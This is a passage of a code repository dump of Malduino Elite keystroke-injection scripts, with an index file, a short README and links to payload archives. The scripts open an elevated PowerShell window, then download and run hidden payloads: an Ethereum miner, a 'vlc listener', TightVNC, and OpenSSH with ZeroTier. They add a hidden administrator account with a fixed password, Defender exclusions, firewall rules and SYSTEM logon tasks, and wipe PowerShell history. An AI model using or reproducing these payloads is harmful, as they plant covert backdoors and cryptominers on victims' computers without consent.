(New-ScheduledTaskTrigger -AtLogon) 18 | STRING -Principal (New-ScheduledTaskPrincipal -UserID 'NT AUTHORITY\SYSTEM' -LogonType ServiceAccount -RunLevel Highest) -f; 19 | REM Preparing hidden PowerShell window for payload 20 | STRING Start-Process -WindowStyle Hidden PowerShell " 21 | REM Payload 22 | STRING cd C:\Windows; 23 | STRING Mkdir vlc; 24 | STRING (New-Object System.Net.WebClient).DownloadFile('https://github.com/Gyanbu/MalduinoScripts/raw/master/vlc.zip','C:\Windows\vlc.zip'); 25 | STRING Expand-Archive -Path VLC.zip -force; 26 | STRING Remove-Item vlc.zip; 27 | STRING cd vlc; 28 | STRING attrib +s +h /s /d; 29 | STRING attrib +s +h .; 30 | STRING New-NetFirewallRule -DisplayName 'vlc' -Direction Inbound -Program 'C:\Windows\vlc\vlc.exe' -Action Allow; 31 | STRING Start-ScheduledTask -TaskName "vlc" 32 | REM End of payload 33 | REM Clear PowerShell history and exit 34 | STRING ";(Get-PSReadlineOption).HistorySavePath | rm;exit 35 | ENTER 36 | -------------------------------------------------------------------------------- /Malduino Elite Scripts/1000.ero: -------------------------------------------------------------------------------- 1 | DELAY 1000 2 | GUI r 3 | DELAY 1000 4 | STRING PowerShell Start-Process -Verb runAs PowerShell 5 | ENTER 6 | DELAY 5000 7 | ALT y 8 | ALT t 9 | DELAY 5000 10 | REM Resize PowerShell window 11 | STRING mode con cols=20 lines=1 12 | ENTER 13 | REM Run payload in hidden window 14 | STRING Start-Process -WindowStyle Hidden PowerShell " 15 | REM Payload 16 | STRING cd C:\Windows\VLC 17 | STRING Stop-ScheduledTask -TaskName "vlc" 18 | STRING Unregister-ScheduledTask -TaskName VLC -Confirm:$false 19 | STRING attrib -s -h . 20 | STRING cd .. 21 | STRING Remove-Item -recurse -force vlc 22 | STRING ";(Get-PSReadlineOption).HistorySavePath | rm;exit 23 | ENTER 24 | -------------------------------------------------------------------------------- /Malduino Elite Scripts/1001.ero: -------------------------------------------------------------------------------- 1 | DELAY 1000 2 | REM Open Run prompt 3 | GUI r 4 | DELAY 1000 5 | REM Start elevared PowerShell 6 | STRING PowerShell Start-Process -Verb runAs PowerShell 7 | ENTER 8 | DELAY 5000 9 | ALT y 10 | ALT t 11 | DELAY 5000 12 | REM Shrink PowerShell window 13 | STRING mode con cols=20 lines=1 14 | ENTER 15 | REM Preparing hidden PowerShell window for payload 16 | STRING Start-Process -WindowStyle Hidden PowerShell " 17 | REM Payload 18 | STRING Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0; 19 | STRING Set-Service -Name sshd -StartupType 'Automatic'; 20 | STRING Start-Service sshd; 21 | STRING New-Item 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' -Force | New-ItemProperty -Name Gyanbu -Value 0 -PropertyType DWord -Force; 22 | STRING net user Gyanbu Senpai /add; 23 | STRING net localgroup Administrators Gyanbu /add; 24 | STRING net localgroup Administratorzy Gyanbu /add 25 | REM End of payload 26 | REM Clear PowerShell history and exit 27 | STRING ";(Get-PSReadlineOption).HistorySavePath | rm;exit 28 | ENTER 29 | -------------------------------------------------------------------------------- /Malduino Elite Scripts/1010.ero: -------------------------------------------------------------------------------- 1 | DELAY 1000 2 | REM Open Run prompt 3 | GUI r 4 | DELAY 1000 5 | REM Start elevared PowerShell 6 | STRING PowerShell Start-Process -Verb runAs PowerShell 7 | ENTER 8 | DELAY 5000 9 | ALT y 10 | ALT t 11 | DELAY 5000 12 | REM Shrink PowerShell window 13 | STRING mode con cols=20 lines=1 14 | ENTER 15 | REM Preparing hidden PowerShell window for payload 16 | STRING Start-Process -WindowStyle Hidden PowerShell " 17 | REM Payload 18 | STRING Remove-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0; 19 | STRING net user Gyanbu /delete; 20 | STRING Remove-Item 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' -Force 21 | REM End of payload 22 | REM Clear PowerShell history and exit 23 | STRING ";(Get-PSReadlineOption).HistorySavePath | rm;exit 24 | ENTER 25 | -------------------------------------------------------------------------------- /Malduino Elite Scripts/1011.ero: -------------------------------------------------------------------------------- 1 | DELAY 10000 2 | GUI r 3 | DELAY 1000 4 | REM Start elevated PowerShell 5 | STRING PowerShell Start-Process -Verb runAs PowerShell 6 | ENTER 7 | DELAY 5000 8 | ALT y 9 | ALT t 10 | DELAY 5000 11 | REM Shrink PowerShell window 12 | STRING mode con cols=20 lines=1 13 | ENTER 14 | REM Pre-Payload configuration 15 | STRING $86 = ${Env:ProgramFiles(x86)}; 16 | REM Run payload in hidden PowerShell window 17 | STRING Start-Process -WindowStyle Hidden PowerShell " 18 | REM Payload 19 | STRING cd C:\Windows; 20 | STRING (New-Object System.Net.WebClient).DownloadFile('https://download.zerotier.com/dist/ZeroTier%20One.msi','C:\Windows\Zto.msi'); 21 | STRING msiexec.exe /i Zto.msi /quiet /norestart | Out-Null; 22 | STRING rm .\Zto.msi; 23 | STRING Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0; 24 | STRING Set-Service -Name sshd -StartupType 'Automatic'; 25 | STRING Start-Service sshd; 26 | STRING New-Item 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' -Force | New-ItemProperty -Name Gyanbu -Value 0 -PropertyType DWord -Force; 27 | STRING net user Gyanbu Senpai /add; 28 | STRING net localgroup Administrators Gyanbu /add; 29 | STRING net localgroup Administratorzy Gyanbu /add; 30 | STRING Start-Process ${86}\ZeroTier\One\zerotier-cli.bat 'join d3ecf5726d17a420'; 31 | STRING Get-NetConnectionProfile -InterfaceAlias 'ZeroTier One *' | Set-NetConnectionProfile -NetworkCategory Private 32 | STRING ";(Get-PSReadlineOption).HistorySavePath | rm;exit 33 | ENTER 34 | -------------------------------------------------------------------------------- /Malduino Elite Scripts/1110.ero: -------------------------------------------------------------------------------- 1 | DELAY 1000 2 | REM Open Run prompt 3 | GUI r 4 | DELAY 1000 5 | REM Start elevated PowerShell 6 | STRING PowerShell Start-Process -Verb runAs PowerShell 7 | ENTER 8 | DELAY 5000 9 | ALT y 10 | ALT t 11 | DELAY 5000 12 | REM Shrink PowerShell window 13 | STRING mode con cols=20 lines=1 14 | ENTER 15 | REM Preparing hidden PowerShell window for payload 16 | STRING Start-Process -WindowStyle Hidden PowerShell " 17 | REM Payload 18 | STRING Add-MpPreference -ExclusionPath C:\Windows\Registry; 19 | STRING (Get-Volume -FileSystemLabel Ventoy).DriveLetter + ':\'|cd; 20 | STRING cp Registry.zip C:\Windows\Registry.zip; 21 | STRING cd C:\Windows; 22 | STRING Mkdir Registry; 23 | STRING Expand-Archive -Path Registry.zip -force; 24 | STRING Remove-Item Registry.zip; 25 | STRING cd Registry; 26 | STRING attrib +s +h /s /d; 27 | STRING attrib +s +h .; 28 | STRING New-NetFirewallRule -DisplayName 'Registry' -Direction Inbound -Program 'C:\Windows\Registry\Registry.exe' -Action Allow; 29 | STRING Register-ScheduledTask Registry 30 | STRING -Action (New-ScheduledTaskAction -Execute 'C:\Windows\Registry\Registry.vbs' -WorkingDirectory 'C:\Windows\Registry') 31 | STRING -Trigger (New-ScheduledTaskTrigger -AtLogon) 32 | STRING -Principal (New-ScheduledTaskPrincipal -UserID 'NT AUTHORITY\SYSTEM' -LogonType ServiceAccount -RunLevel Highest) -f; 33 | STRING .\Registry.vbs 34 | REM End of payload 35 | REM Clear PowerShell history and exit 36 | STRING ";(Get-PSReadlineOption).HistorySavePath | rm;exit 37 | ENTER 38 | -------------------------------------------------------------------------------- /Malduino Elite Scripts/1111.ero: -------------------------------------------------------------------------------- 1 | DELAY 1000 2 | REM Open Run prompt 3 | GUI r 4 | DELAY 1000 5 | REM Start elevared PowerShell 6 | STRING PowerShell Start-Process -Verb runAs PowerShell 7 | ENTER 8 | DELAY 5000 9 | ALT y 10 | ALT t 11 | DELAY 5000 12 | REM Shrink PowerShell window 13 | STRING mode con cols=20 lines=1 14 | ENTER 15 | REM Preparing hidden PowerShell window for payload 16 | STRING Start-Process -WindowStyle Hidden PowerShell " 17 | REM Payload 18 | STRING cd C:\Windows; 19 | STRING Mkdir Registry; 20 | STRING Add-MpPreference -ExclusionPath C:\Windows\Registry; 21 | STRING (New-Object System.Net.WebClient).DownloadFile('https://github.com/Gyanbu/MalduinoScripts/raw/master/Registry.zip','C:\Windows\Registry.zip'); 22 | STRING Expand-Archive -Path Registry.zip -force; 23 | STRING Remove-Item Registry.zip; 24 | STRING cd Registry; 25 | STRING attrib +s +h /s /d; 26 | STRING attrib +s +h .; 27 | STRING New-NetFirewallRule -DisplayName 'Registry' -Direction Inbound -Program 'C:\Windows\Registry\Registry.exe' -Action Allow; 28 | STRING Register-ScheduledTask Registry 29 | STRING -Action (New-ScheduledTaskAction -Execute 'C:\Windows\Registry\Registry.vbs' -WorkingDirectory 'C:\Windows\Registry') 30 | STRING -Trigger (New-ScheduledTaskTrigger -AtLogon) 31 | STRING -Principal (New-ScheduledTaskPrincipal -UserID 'NT AUTHORITY\SYSTEM' -LogonType ServiceAccount -RunLevel Highest) -f; 32 | STRING powercfg.exe -x -monitor-timeout-ac 0; 33 | STRING powercfg.exe -x -monitor-timeout-dc 0; 34 | STRING powercfg.exe -x -disk-timeout-ac 0; 35 | STRING powercfg.exe -x -disk-timeout-dc 0; 36 | STRING powercfg.exe -x -standby-timeout-ac 0; 37 | STRING powercfg.exe -x -standby-timeout-dc 0; 38 | STRING powercfg.exe -x -hibernate-timeout-ac 0; 39 | STRING powercfg.exe -x -hibernate-timeout-dc 0; 40 | STRING .\Registry.vbs 41 | REM End of payload 42 | REM Clear PowerShell history and exit 43 | STRING ";(Get-PSReadlineOption).HistorySavePath | rm;exit 44 | ENTER 45 | -------------------------------------------------------------------------------- /Malduino Elite Scripts/LIST.txt: -------------------------------------------------------------------------------- 1 | ___ ___ _ _ _ _____ _ _ _ 2 | | \/ | | | | | (_) | ___| (_) | 3 | | . . | __ _| | __| |_ _ _ _ __ ___ | |__ | |_| |_ ___ 4 | | |\/| |/ _` | |/ _` | | | | | '_ \ / _ \ | __|| | | __/ _ \ 5 | | | | | (_| | | (_| | |_| | | | | | (_) | | |___| | | || __/ 6 | \_| |_/\__,_|_|\__,_|\__,_|_|_| |_|\___/ \____/|_|_|\__\___| 7 | -------------------------------------------------------------- 8 | 0000.ero | Uninstall Ethereum Miner 9 | 0001.ero | Install Hydra Prank 10 | 0010.ero | Uninstall Hydra Prank 11 | 0011.ero | Install Tight vnc 12 | 0100.ero | Uninstall Tight vnc 13 | 0101.ero | Install JoJo opening every hour 14 | 0110.ero | Uninstall JoJo opening every hour 15 | 0111.ero | Install vlc listener 16 | 1000.ero | Uninstall vlc listener 17 | 1001.ero | Install SecureShell 18 | 1010.ero | Uninstall SecureShell 19 | | 20 | 1110.ero | Install(PenDrive) Ethereum Miner 21 | 1111.ero | Install(Internet) Ethereum Miner -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # MalduinoScripts 2 | Rep for my little projects with MalduinoElite 3 | 4 | ## Description 5 | My MalduinoElite scripts and files for it. 6 | If there is any problem with them, just open a new issue. 7 | 8 | ## License 9 | [MIT](https://choosealicense.com/licenses/mit/) 10 | -------------------------------------------------------------------------------- /Registry.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gyanbu/MalduinoScripts/d9297fa1f2cce4ebaa847989e67d0b903327ac46/Registry.zip -------------------------------------------------------------------------------- /Tvnc.msi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gyanbu/MalduinoScripts/d9297fa1f2cce4ebaa847989e67d0b903327ac46/Tvnc.msi -------------------------------------------------------------------------------- /vlc.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Gyanbu/MalduinoScripts/d9297fa1f2cce4ebaa847989e67d0b903327ac46/vlc.zip --------------------------------------------------------------------------------